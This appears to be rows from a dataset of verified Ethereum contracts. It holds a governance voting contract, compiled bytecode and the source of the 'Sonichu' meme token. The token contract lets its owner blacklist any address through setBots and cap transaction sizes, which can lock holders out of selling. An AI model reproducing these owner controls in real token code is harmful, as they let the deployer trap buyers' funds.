VotedValue[] public votedValues;
mapping(string => VotedValue) public votedValuesMap;
constructor(address _governedContractAddress, address _votingTokenAddress){
init(_governedContractAddress, _votingTokenAddress);
}
function init(address _governedContractAddress, address _votingTokenAddress) public {
require(governedContractAddress == address(0), "governance already initialized");
governedContractAddress = _governedContractAddress;
votingTokenAddress = _votingTokenAddress;
}
function addressBelongsToGovernance(address addr) public view returns (bool) {
for (uint i = 0; i < votedValues.length; i++)
if (address(votedValues[i]) == addr)
return true;
return false;
}
function isUntiedFromAllVotes(address addr) public view returns (bool) {
for (uint i = 0; i < votedValues.length; i++)
if (votedValues[i].hasVote(addr))
return false;
return true;
}
function addVotedValue(string memory name, VotedValue votedValue) external {
require(msg.sender == governedContractAddress, "not authorized");
votedValues.push(votedValue);
votedValuesMap[name] = votedValue;
}
// deposit
function deposit(uint amount) payable external {
deposit(msg.sender, amount);
}
function deposit(address from, uint amount) nonReentrant payable public {
require(from == msg.sender || addressBelongsToGovernance(msg.sender), "not allowed");
if (votingTokenAddress == address(0))
require(msg.value == amount, "wrong amount received");
else {
require(msg.value == 0, "don't send ETH");
require(IERC20(votingTokenAddress).transferFrom(from, address(this), amount), "failed to pull gov deposit");
}
balances[from] += amount;
}
// withdrawal functions
function withdraw() external {
withdraw(balances[msg.sender]);
}
function withdraw(uint amount) nonReentrant public {
require(amount > 0, "zero withdrawal requested");
require(amount <= balances[msg.sender], "not enough balance");
require(isUntiedFromAllVotes(msg.sender), "some votes not removed yet");
balances[msg.sender] -= amount;
if (votingTokenAddress == address(0))
payable(msg.sender).transfer(amount);
else
require(IERC20(votingTokenAddress).transfer(msg.sender, amount), "failed to withdraw gov deposit");
}
}
abstract contract VotedValue is ReentrancyGuard {
Governance public governance;
uint public challenging_period_start_ts;
mapping(address => bool) public hasVote;
constructor(Governance _governance){
governance = _governance;
}
function checkVoteChangeLock() view public {
require(challenging_period_start_ts + governance.governance_challenging_period() + governance.governance_freeze_period() < block.timestamp, "you cannot change your vote yet");
}
function checkChallengingPeriodExpiry() view public {
require(block.timestamp > challenging_period_start_ts + governance.governance_challenging_period(), "challenging period not expired yet");
}
}
contract VotedValueAddress is VotedValue {
function(address) external validationCallback;
function(address) external commitCallback;
address public leader;
address public current_value;
// mapping(who => value)
mapping(address => address) public choices;
// mapping(value => votes)
mapping(address => uint) public votesByValue;
// mapping(value => mapping(who => votes))
mapping(address => mapping(address => uint)) public votesByValueAddress;
constructor() VotedValue(Governance(address(0))) {}
// constructor(Governance _governance, address initial_value, function(address) external _validationCallback, function(address) external _commitCallback) VotedValue(_governance) {
// leader = initial_value;
// current_value = initial_value;
// validationCallback = _validationCallback;
// commitCallback = _commitCallback;
// }
function init(Governance _governance, address initial_value, function(address) external _validationCallback, function(address) external _commitCallback) external {
require(address(governance) == address(0), "already initialized");
governance = _governance;
leader = initial_value;
current_value = initial_value;
validationCallback = _validationCallback;
commitCallback = _commitCallback;
}
function vote(address value) nonReentrant external {
_vote(value);
}
function voteAndDeposit(address value, uint amount) nonReentrant payable external {
governance.deposit{value: msg.value}(msg.sender, amount);
_vote(value);
}
function _vote(address value) private {
validationCallback(value);
address prev_choice = choices[msg.sender];
bool hadVote = hasVote[msg.sender];
if (prev_choice == leader)
checkVoteChangeLock();
// first, remove votes from the previous choice
if (hadVote)
removeVote(prev_choice);
// then, add them to the new choice
uint balance = governance.balances(msg.sender);
require(balance > 0, "no balance");
votesByValue[value] += balance;
votesByValueAddress[value][msg.sender] = balance;
choices[msg.sender] = value;
hasVote[msg.sender] = true;
// check if the leader has just changed
if (votesByValue[value] > votesByValue[leader]){
leader = value;
challenging_period_start_ts = block.timestamp;
}
}
function unvote() external {
if (!hasVote[msg.sender])
return;
address prev_choice = choices[msg.sender];
if (prev_choice == leader)
checkVoteChangeLock();
removeVote(prev_choice);
delete choices[msg.sender];
delete hasVote[msg.sender];
}
function removeVote(address value) internal {
votesByValue[value] -= votesByValueAddress[value][msg.sender];
votesByValueAddress[value][msg.sender] = 0;
}
function commit() nonReentrant external {
require(leader != current_value, "already equal to leader");
checkChallengingPeriodExpiry();
current_value = leader;
commitCallback(leader);
}
}
|
0x6080604052600436106100e85760003560e01c8063410346b31161008a5780636d497234116100595780636d497234146102925780636dd7d8ea146102ca5780638eb6ecb2146102ea578063bfb723b6146102fd57600080fd5b8063410346b31461020757806345ede00f1461023d5780635aa6e6751461025d57806362df40ea1461027d57600080fd5b80633174b689116100c65780633174b68914610183578063345f2ffc1461019a5780633c7a3aff146101d257806340eedabb146101e757600080fd5b80632243b09a146100ed57806327efa0aa146101325780632a1a2d9514610156575b600080fd5b3480156100f957600080fd5b5061011d610108366004610b74565b60036020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561013e57600080fd5b5061014860025481565b604051908152602001610129565b34801561016257600080fd5b50610148610171366004610b74565b60096020526000908152604090205481565b34801561018f57600080fd5b50610198610312565b005b3480156101a657600080fd5b506007546101ba906001600160a01b031681565b6040516001600160a01b039091168152602001610129565b3480156101de57600080fd5b50610198610395565b3480156101f357600080fd5b506006546101ba906001600160a01b031681565b34801561021357600080fd5b506101ba610222366004610b74565b6008602052600090815260409020546001600160a01b031681565b34801561024957600080fd5b50610198610258366004610bfd565b6104bc565b34801561026957600080fd5b506001546101ba906001600160a01b031681565b34801561028957600080fd5b50610198610596565b34801561029e57600080fd5b506101486102ad366004610b98565b600a60209081526000928352604080842090915290825290205481565b3480156102d657600080fd5b506101986102e5366004610b74565b6106fe565b6101986102f8366004610bd1565b610737565b34801561030957600080fd5b506101986107d7565b3360009081526003602052604090205460ff1661032b57565b336000908152600860205260409020546006546001600160a01b03918216911681141561035a5761035a610596565b610363816108c3565b5033600090815260086020908152604080832080546001600160a01b031916905560039091529020805460ff19169055565b600260005414156103c15760405162461bcd60e51b81526004016103b890610cac565b60405180910390fd5b60026000556007546006546001600160a01b03908116911614156104275760405162461bcd60e51b815260206004820152601760248201527f616c726561647920657175616c20746f206c656164657200000000000000000060448201526064016103b8565b61042f6107d7565b600654600780546001600160a01b0319166001600160a01b039283169081179091556005546040516001600160e01b031960e083901b1681526004810192909252602081901c9092169163ffffffff1690602401600060405180830381600087803b15801561049d57600080fd5b505af11580156104b1573d6000803e3d6000fd5b505060016000555050565b6001546001600160a01b03161561050b5760405162461bcd60e51b8152602060048201526013602482015272185b1c9958591e481a5b9a5d1a585b1a5e9959606a1b60448201526064016103b8565b600180546001600160a01b039788166001600160a01b031991821617909155600680549690971695811686179096556007805490961690941790945560048054640100000000600160c01b03602094851b811663ffffffff948516176001600160c01b031992831617909255600580549690941b909116939091169290921792909116919091179055565b6001546040805163055a4e9160e51b8152905142926001600160a01b03169163ab49d220916004808301926020929190829003018186803b1580156105da57600080fd5b505afa1580156105ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106129190610c93565b600160009054906101000a90046001600160a01b03166001600160a01b031663623148336040518163ffffffff1660e01b815260040160206040518083038186803b15801561066057600080fd5b505afa158015610674573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106989190610c93565b6002546106a59190610ce3565b6106af9190610ce3565b106106fc5760405162461bcd60e51b815260206004820152601f60248201527f796f752063616e6e6f74206368616e676520796f757220766f7465207965740060448201526064016103b8565b565b600260005414156107215760405162461bcd60e51b81526004016103b890610cac565b600260005561072f8161092b565b506001600055565b6002600054141561075a5760405162461bcd60e51b81526004016103b890610cac565b60026000556001546040516311f9fbc960e21b8152336004820152602481018390526001600160a01b03909116906347e7ef249034906044016000604051808303818588803b1580156107ac57600080fd5b505af11580156107c0573d6000803e3d6000fd5b50505050506107ce8261092b565b50506001600055565b600160009054906101000a90046001600160a01b03166001600160a01b031663623148336040518163ffffffff1660e01b815260040160206040518083038186803b15801561082557600080fd5b505afa158015610839573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085d9190610c93565b60025461086a9190610ce3565b42116106fc5760405162461bcd60e51b815260206004820152602260248201527f6368616c6c656e67696e6720706572696f64206e6f7420657870697265642079604482015261195d60f21b60648201526084016103b8565b6001600160a01b0381166000818152600a60209081526040808320338452825280832054938352600990915281208054909190610901908490610cfb565b90915550506001600160a01b03166000908152600a60209081526040808320338452909152812055565b600480546040516001600160e01b031960e083901b1681526001600160a01b03602083901c169263ffffffff90921691610976918591016001600160a01b0391909116815260200190565b600060405180830381600087803b15801561099057600080fd5b505af11580156109a4573d6000803e3d6000fd5b5050336000908152600860209081526040808320546003909252909120546006546001600160a01b03928316945060ff9091169250168214156109e9576109e9610596565b80156109f8576109f8826108c3565b6001546040516327e235e360e01b81523360048201526000916001600160a01b0316906327e235e39060240160206040518083038186803b158015610a3c57600080fd5b505afa158015610a50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a749190610c93565b905060008111610ab35760405162461bcd60e51b815260206004820152600a6024820152696e6f2062616c616e636560b01b60448201526064016103b8565b6001600160a01b03841660009081526009602052604081208054839290610adb908490610ce3565b90915550506001600160a01b038085166000818152600a6020908152604080832033845282528083208690556008825280832080546001600160a01b0319168517905560038252808320805460ff191660011790556006549094168252600990528281205491815291909120541115610b6e57600680546001600160a01b0319166001600160a01b038616179055426002555b50505050565b600060208284031215610b8657600080fd5b8135610b9181610d28565b9392505050565b60008060408385031215610bab57600080fd5b8235610bb681610d28565b91506020830135610bc681610d28565b809150509250929050565b60008060408385031215610be457600080fd5b8235610bef81610d28565b946020939093013593505050565b60008060008060008060808789031215610c1657600080fd5b8635610c2181610d28565b95506020870135610c3181610d28565b9450604087013567ffffffffffffffff198082168214610c5057600080fd5b63ffffffff8260601c9650808360401c16955060608a013592508183168314610c7857600080fd5b8260601c9450808360401c1693505050509295509295509295565b600060208284031215610ca557600080fd5b5051919050565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b60008219821115610cf657610cf6610d12565b500190565b600082821015610d0d57610d0d610d12565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610d3d57600080fd5b5056fea264697066735822122089ab4d99ebf4f03d623d19c7f7aa96d2b3b54db53d7200855b999fec921998c964736f6c63430008060033
|
{"success": true, "error": null, "results": {}}
| 5,741 |
0x62A390342d027e55325947f0A6054B5aE5cA9622
|
/**
*Submitted for verification at Etherscan.io on 2021-08-02
*/
/**
*Submitted for verification at Etherscan.io on based department
SONICHU
Telegram: https://t.me/sonichutoken
Every 10 holders we extend the liquidity lock by 1 day for the launch
@ 100 holders we start a twitter
@ 200 holders we make a website
After is up to you uwaa~
*/
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Sonichu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Sonichu";
string private constant _symbol = 'SICHU';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(cooldownEnabled){
require(cooldown[from] < block.timestamp - (360 seconds));
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600781526020017f536f6e6963687500000000000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d9660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123089092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c65722069